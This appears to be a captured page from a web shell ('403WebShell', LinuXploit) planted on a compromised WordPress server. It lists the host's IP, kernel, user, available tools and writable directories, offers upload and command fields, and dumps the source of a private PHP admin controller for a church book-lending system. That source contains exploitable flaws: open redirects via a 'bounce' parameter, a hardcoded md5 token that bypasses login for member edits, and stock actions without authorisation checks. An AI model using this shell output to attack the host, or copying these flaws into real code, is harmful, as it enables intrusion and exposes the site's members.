Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/core/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/core/controllers/admin.php
<?php

class Admin extends Controller {

	function __construct() {
		parent::__construct();
		global $VARIABLE;
		$this->auth = $this->loadModel('authentication_model');
		$this->view = $this->loadView('member_view');
		$this->view_admin = $this->loadView('admin_view');
		$VARIABLE['default_right'] = '';
	}

	public function login() {
		$this->LoadPlugin('class.webform');
		$webform = new webform('');
		$f = $webform->AddField_Hidden('bounce');
		
		$f = $webform->AddField_Text('user', 'Username', 1);
		$f->SetWidth(210);
		$f = $webform->AddField_Text('pass', 'Password', 1);
		$f->SetWidth(210);
		$f->SetType(TEXTTYPE_PASSWORD);

		$error = $webform->database_load();
		if (!$error && $this->isPost) {
			$webform->database_save();
			$user = $webform->DATA['user'];
			$password = $webform->DATA['pass'];
			$this->LoadPlugin('class.password');
			$n = $this->auth->isValid($user, $password);
			if ($n) {
				$this->auth->LoginAsUser($user);
				$bounce = $webform->DATA['bounce'];
				$this->Redirect($bounce);
			}
		}
		$body = $this->view->render_login($webform);
		$this->DisplayPage('Member Area', $body);
	}

	// are we logged in - redirect if not
	private function _CheckAuthorized() {
		global $THIS_URL;
		$id = isset($_SESSION['scpid']) ? $_SESSION['scpid'] : '';
		if ($id != '') return;
		$bounce = urlencode($THIS_URL);
		$this->Redirect("/admin/login?bounce=$bounce");
	}
	
	public function logout() {
		$this->auth->Logout();
		$bounce = isset($_GET['bounce']) ? $_GET['bounce'] : '';
		if ($bounce == '') $bounce = '/';
		$this->Redirect($bounce);
	}

	/////////////////////////////////////////////////////////////////////////
	// display all stock groups
	public function stock_group($n = '') {
		global $VARIABLE;
		$this->_CheckAuthorized();
		$this->LoadPlugin('class.webform');
		if ($n == '') {
			return $this->_select_stock_group();
		} else {
			$n = intval($n);
			return $this->_edit_stock_group($n);
		}
	}
	
	public function stock_group_delete($n = '') {
		global $DATABASE;
		$this->_CheckAuthorized();
		if ($n != '') {
			$n = intval($n);
			$DATABASE->Query("delete from dt_group where dg_id=%d", $n, '', 0);
		}
		$this->redirect('/admin/stock_group');
	}
	
	private function _edit_stock_group($n) {
		global $VARIABLE;
		$webform = new webform('');
		$webform->AddField_hidden('dg_id');
		
		$f = $webform->AddField_Text('dg_desc', '&Description', 1);
		$f->SetWidth(400);
		// show on homepage
		$f = $webform->AddField_checkbox('dg_view', '&Show on Homepage?');
		
		$errors = $webform->Database_Load('select dg_id,dg_desc,dg_view from dt_group where dg_id=%d', $n, 'dt_group');
		$recnum = !empty($webform->DATA['__existing']) ? intval($webform->DATA['dg_id']) : 0 ;
		if (!$errors && $this->isPost) {
			if (!$recnum) $VARIABLE['dg_id'] = ip_GetRandomID('dt_group', 'dg_id');
			$webform->Database_save();
			$this->Redirect('/admin/stock_group/');
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_stockgroup_edit($webform, $recnum);
		$title = ($recnum) ? $webform->DATA['dg_desc'] : 'New Stock Group';
		return $this->DisplayPage($title, $body);
	}
	
	private function _select_stock_group() {
		global $VARIABLE;
	// display all stock groups
		$operation = isset($_POST['s']) ? strtolower(trim($_POST['s'])) : '';

		$title_model = $this->LoadModel('title_model');
		$webform = new webform('');
		$f = $webform->addField_List('id', 'Stock &Groups', 0);
		$f->SetHeight(9);
		$f->SetWidth(480);
		$f->SetList($title_model->GetList_StockGroup());
		
		$f = $webform->addField_DisplayOnly('default', 'Default Group');
		
		$error = $webform->database_load('');
		if (!$error && $this->isPost) {
			$webform->database_Save();
			if ($operation == 'set default group') {
				$title_model->SetDefaultGroup($webform->DATA['id']);
				$this->redirect('/admin/stock_group');
			} else {
				$item = quote_Param_AsNumber('id');
				$this->redirect('/admin/stock_group/' . $item);
			}
		}
		$VARIABLE['default'] = $title_model->GetDefaultGroup(1);
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_stock_group($webform);
		return $this->DisplayPage('Stock Groups', $body);
	}
	
	/////////////////////////////////////////////////////////////////////////
	public function author($n = '') {
		global $VARIABLE;
		$this->_CheckAuthorized();
		$this->LoadPlugin('class.webform');
		if ($n == '') {
			return $this->_select_author();
		} else {
			$n = intval($n);
			return $this->_edit_author($n);
		}
	}
	private function _select_author() {
		global $VARIABLE;

		$search_model = $this->loadModel('search_model');
		$title_model = $this->LoadModel('title_model');
		$webform = new webform('');
		$f = $webform->addField_List('id', 'Authors', 0);
		$f->SetHeight(18);
		$f->SetWidth(480);
		$f->SetList($search_model->GetAuthorList(0));

		$error = $webform->database_load('');
		if (!$error && $this->isPost) {
			$webform->database_Save();
				$item = quote_Param_AsNumber('id');
				$this->redirect('/admin/author/' . $item);
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_authors($webform);
		return $this->DisplayPage('Authors', $body);
	}

	private function _edit_author($n) {
		global $VARIABLE;
		$webform = new webform('');
		$webform->AddField_hidden('ba_id');

		$f = $webform->AddField_Text('ba_name', '&Name', 1);
		$f->SetWidth(400);
		
		$errors = $webform->Database_Load('select ba_id,ba_name from dt_author where ba_id=%d', $n, 'dt_author');
		$recnum = !empty($webform->DATA['__existing']) ? intval($webform->DATA['ba_id']) : 0 ;
		if (!$errors && $this->isPost) {
			if (!$recnum) $VARIABLE['ba_id'] = ip_GetRandomID('dt_author', 'ba_id');
			$webform->Database_save();
			$this->Redirect('/admin/author/');
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_author_edit($webform, $recnum);
		$title = ($recnum) ? $webform->DATA['ba_name'] : 'New Author';
		return $this->DisplayPage($title, $body);
	}

	public function author_delete($n = '') {
		global $DATABASE;
		$this->_CheckAuthorized();
		if ($n != '') {
			$n = intval($n);
			$DATABASE->Query("delete from dt_author where ba_id=%d", $n, '', 0);
		}
		$this->redirect('/admin/author');
	}

	/////////////////////////////////////////////////////////////////////////
	public function location($n = '') {
		$this->_CheckAuthorized();
		$this->LoadPlugin('class.webform');
		if ($n == '') {
			return $this->_select_location();
		} else {
			$n = intval($n);
			return $this->_edit_location($n);
		}
	}

	private function _select_location() {
		global $VARIABLE;

		$stocktake_model = $this->loadModel('stocktake_model');
		$title_model = $this->LoadModel('title_model');
		$webform = new webform('');
		$f = $webform->addField_List('id', 'Locations', 0);
		$f->SetHeight(18);
		$f->SetWidth(480);
		$f->SetList($stocktake_model->GenerateLocationList(0));

		$error = $webform->database_load('');
		if (!$error && $this->isPost) {
			$webform->database_Save();
				$item = quote_Param_AsNumber('id');
				$this->redirect('/admin/location/' . $item);
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_locations($webform);
		return $this->DisplayPage('Locations', $body);
	}

	private function _edit_location($n) {
		global $VARIABLE;
		$webform = new webform('');
		$webform->AddField_hidden('dl_id');

		$f = $webform->AddField_Text('dl_desc', '&Name of Location', 1);
		$f->SetWidth(400);
		$f = $webform->AddField_Text('dl_barcode', '&Barcode', 0);
		$f->SetWidth(150);
		$f = $webform->AddField_Checkbox('dl_external', 'Stored away from the bookshelf?');
		
		$errors = $webform->Database_Load('select dl_id,dl_desc,dl_barcode,dl_external from dt_location where dl_id=%d', $n, 'dt_location');
		$recnum = !empty($webform->DATA['__existing']) ? intval($webform->DATA['dl_id']) : 0 ;
		if (!$errors && $this->isPost) {
			if (!$recnum) $VARIABLE['dl_id'] = ip_GetRandomID('dt_location', 'dl_id');
			$webform->Database_save();
			$this->Redirect('/admin/location/');
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_location_edit($webform, $recnum);
		$title = ($recnum) ? $webform->DATA['dl_desc'] : 'New Location';
		return $this->DisplayPage($title, $body);
	}

	public function location_delete($n = '') {
		global $DATABASE;
		$this->_CheckAuthorized();
		if ($n != '') {
			$n = intval($n);
			$DATABASE->Query("delete from dt_location where dl_id=%d", $n, '', 0);
		}
		$this->redirect('/admin/location');
	}
	/////////////////////////////////////////////////////////////////////////
	public function title($n = '') {
		$this->_CheckAuthorized();
		$this->LoadPlugin('class.webform');
		if ($n == '') {
			return $this->_select_title();
		} else {
			$n = intval($n);
			return $this->_edit_title($n);		// http://books.hopeinstoughton.org/book.php?id=8192376&pg=2
		}
	}
	
	private function _select_title() {
		global $VARIABLE;

		$title_model = $this->LoadModel('title_model');
		$webform = new webform('');
		$f = $webform->addField_List('id', 'Title', 0);
		$f->SetHeight(18);
		$f->SetWidth(480);
		$f->SetList($title_model->CreateTitlelist());

		$error = $webform->database_load('');
		if (!$error && $this->isPost) {
			$webform->database_Save();
				$item = quote_Param_AsNumber('id');
				$this->redirect('/admin/title/' . $item);
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_titles($webform);
		return $this->DisplayPage('Titles', $body);
	}
	
	private function _edit_title($n) {
	
		$search_model = $this->loadModel('search_model');
		$authorlist = $search_model->GetAuthorList(1);
		$thumb_model = $this->LoadModel('thumbnail_model');
	
		$title_model = $this->LoadModel('title_model');
		$x = $title_model->EditTitle($n, $authorlist, $thumb_model);
		if (is_numeric($x)) {
			$this->Redirect('/admin/title/' . $x);
		}
		list($webform, $data, $footer) = $x;
		$recnum = !empty($webform->DATA['__existing']) ? intval($webform->DATA['bt_id']) : 0 ;
		
		$template = $this->loadView('main_view');
		$thumbnail = $template->render_thumbnail($n, $data);
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_title_edit($webform, $recnum, $thumbnail, $footer['body']);
		$title = ($recnum) ? $webform->DATA['bt_title'] : 'New Title';
		return $this->DisplayPage($title, $body);

	}

	public function title_delete($n = '') {
		global $DATABASE;
		$this->_CheckAuthorized();
		if ($n != '') {
			$n = intval($n);
			$DATABASE->Query("delete from dt_title where bt_id=%d", $n, '', 0);
		}
		$this->redirect('/admin/title');
	}

	public function image_delete($n = '') {
		global $DATABASE;
		$this->_CheckAuthorized();
		if ($n != '') {
			$thumb_model = $this->LoadModel('thumbnail_model');
			$thumb_model->RemoveImage($n);
		}
		$this->redirect('/admin/title/'. $n);
	}

	/////////////////////////////////////////////////////////////////////////
	public function member($n = '') {
		$n = trim($n);
		$auth = isset($_GET['auth']) ? $_GET['auth'] : '';
		if ($auth != '' && $n != '' && $auth == md5('only-For-tHis-member:' . $n)) {
			$bounce = isset($_GET['bounce']) ? $_GET['bounce'] : '';
		} else {
			$this->_CheckAuthorized();
			$bounce = '';
		}
		$this->LoadPlugin('class.webform');
		if ($n == '') {
			return $this->_select_member(1);
		} else {
			$n = intval($n);
			return $this->_edit_member($n, $bounce);
		}
	}

	private function _select_member($showhidden = 0) {
		global $VARIABLE;

		$user_model = $this->LoadModel('user_model');
		$webform = new webform('');
		$f = $webform->addField_List('id', 'Member List', 0);
		$f->SetHeight(18);
		$f->SetWidth(480);
		$f->SetList($user_model->GenerateUserList(1, $showhidden));
		$f->x_gray = 1;

		$error = $webform->database_load('');
		if (!$error && $this->isPost) {
			$webform->database_Save();
				$item = quote_Param_AsNumber('id');
				$this->redirect('/admin/member/' . $item);
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_members($webform);
		return $this->DisplayPage('Members', $body);
	}
	
	private function _edit_member($n, $bounce) {
		global $VARIABLE;
		$webform = new webform('');
		$webform->AddField_hidden('bm_id');

		$f = $webform->AddField_Checkbox('bm_visible', '&Include this person', 1);

		$f = $webform->AddField_Text('bm_surname', '&Surname', 1);
		$f->SetWidth(400);
		$f = $webform->AddField_Text('bm_firstname', '&Firstname', 1);
		$f->SetWidth(400);
		$f = $webform->AddField_TextArea('bm_address', '&Address');
		$f->SetHeight(70);
		$f->SetWidth(400);
		$f = $webform->AddField_Text('bm_town', '&Town');
		$f->SetWidth(400);
		$f = $webform->AddField_List('bm_state', 'State');
		$f->SetWidth(400);
		$f->SetList(GetStatelist());
		$f = $webform->AddField_Text('bm_zip', 'Zip');
		$f->SetWidth(100);
		$f = $webform->AddField_Text('bm_phone', '&Phone');
		$f->SetWidth(400);
		$f = $webform->AddField_Text('bm_cell', '&Cellphone');
		$f->SetWidth(400);
		$f = $webform->AddField_Text('bm_email', '&email');
		$f->SetWidth(400);
		
		$errors = $webform->Database_Load('select * from dt_member where bm_id=%d', $n, 'dt_member');
		$recnum = !empty($webform->DATA['__existing']) ? intval($webform->DATA['bm_id']) : 0 ;
		if (!$errors && $this->isPost) {
			if (!$recnum) $VARIABLE['bm_id'] = ip_GetRandomID('dt_member', 'bt_id');
			$webform->Database_save();
			if ($bounce != '') {
				$this->Redirect($bounce);
			} else {
				$this->Redirect('/admin/member/');
			}
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_member_edit($webform, $recnum);
		$title = ($recnum) ? ip_AsMember($webform->DATA) : 'New Member';
		return $this->DisplayPage($title, $body);
	}

	/////////////////////////////////////////////////////////////////////////
	public function stock($n = '') {
		$this->_CheckAuthorized();
		$this->LoadPlugin('class.webform');
		if ($n == '') {
			return $this->_select_stock();
		} else {
			return $this->_edit_stock($n);
		}
	}

	private function _select_stock() {
		global $VARIABLE;
		$stocktake_model = $this->LoadModel('stocktake_model');

		$webform = new webform('');
		$f = $webform->addField_List('id', 'Stock', 0);
		$f->SetHeight(18);
		$f->SetWidth(480);
		$f->SetList($stocktake_model->GenerateBarcodeList());

		$error = $webform->database_load('');
		if (!$error && $this->isPost) {
			$webform->database_Save();
				$item = quote_Param_AsString('id');
				$this->redirect('/admin/stock/' . $item);
		}
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_stocks($webform);
		return $this->DisplayPage('Stock', $body);
	}
	
	private function _edit_stock($barcode) {
		global $VARIABLE;
		$webform = new webform('');
		
		$stocktake_model = $this->LoadModel('stocktake_model');
		$title_model = $this->LoadModel('title_model');

		$f = $webform->AddField_DisplayOnly('ds_barcode', 'Barcode');
		$f = $webform->AddField_hidden('ds_barcode');
		$f = $webform->AddField_DisplayOnly('__title', 'Title');
		$f = $webform->AddField_List('ds_group', 'Stock Group');
		$f->SetList($title_model->GetList_StockGroup());

		$f = $webform->AddField_List('ds_location', 'Normal Location');
		$f->SetList($stocktake_model->GenerateLocationList());

		$f = $webform->AddField_Text('ds_cost', '&Cost');
		$f->SetWidth(60);
		$f = $webform->AddField_Text('ds_wear', '&Wear');	// number of times it has gone out -- usage damages the book, and so devalues it
		$f->SetWidth(60);

//		$stockgroups = ip_retrieveStockGroups();
//	$stocklocations = ip_retrieveStockLocations();
		$error = $webform->database_load("select * from dt_stock where ds_barcode=%s", $barcode, 'dt_stock');
		
		if (!$error && $this->isPost) {
			$webform->Database_save();
			DbErr($DATABASE);
			$this->Redirect('/admin/stock/');
		}

	// include transaction history, newest to oldest
		$trans = $stocktake_model->GetTransactionHistory($barcode, $webform->DATA, $flags);
		
		$VARIABLE['__title'] = $stocktake_model->LookupTitle($webform->DATA['ds_title']);
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_stock_edit($webform, $barcode, $trans, $flags);
		return $this->DisplayPage('Stock', $body);
	}

	public function stock_writeoff($barcode = '') {
		if ($barcode != '') {
			$transaction_model = $this->LoadModel('transaction_model');
			$transaction_model->writeoff($barcode);
		}
		$this->Redirect('/admin/stock/' . $barcode);
	}

	public function sold_nopay($barcode = '', $fullpay = 0) {
		if ($barcode != '') {
			$transaction_model = $this->LoadModel('transaction_model');
			$transaction_model->sell($barcode, $fullpay);
		}
		$this->Redirect('/admin/stock/' . $barcode);
	}

	public function sold_fullpay($barcode = '') {
		$this->sold_nopay($barcode, 1);
	}
	
	public function essential() {
		$this->view_admin = $this->loadView('admin_view');
		$body = $this->view_admin->render_essential();
		return $this->DisplayPage('Essential Printer Settings', $body);
	}
	/////////////////////////////////////////////////////////////////////////

}


Youez - 2016 - github.com/yon3zu
LinuXploit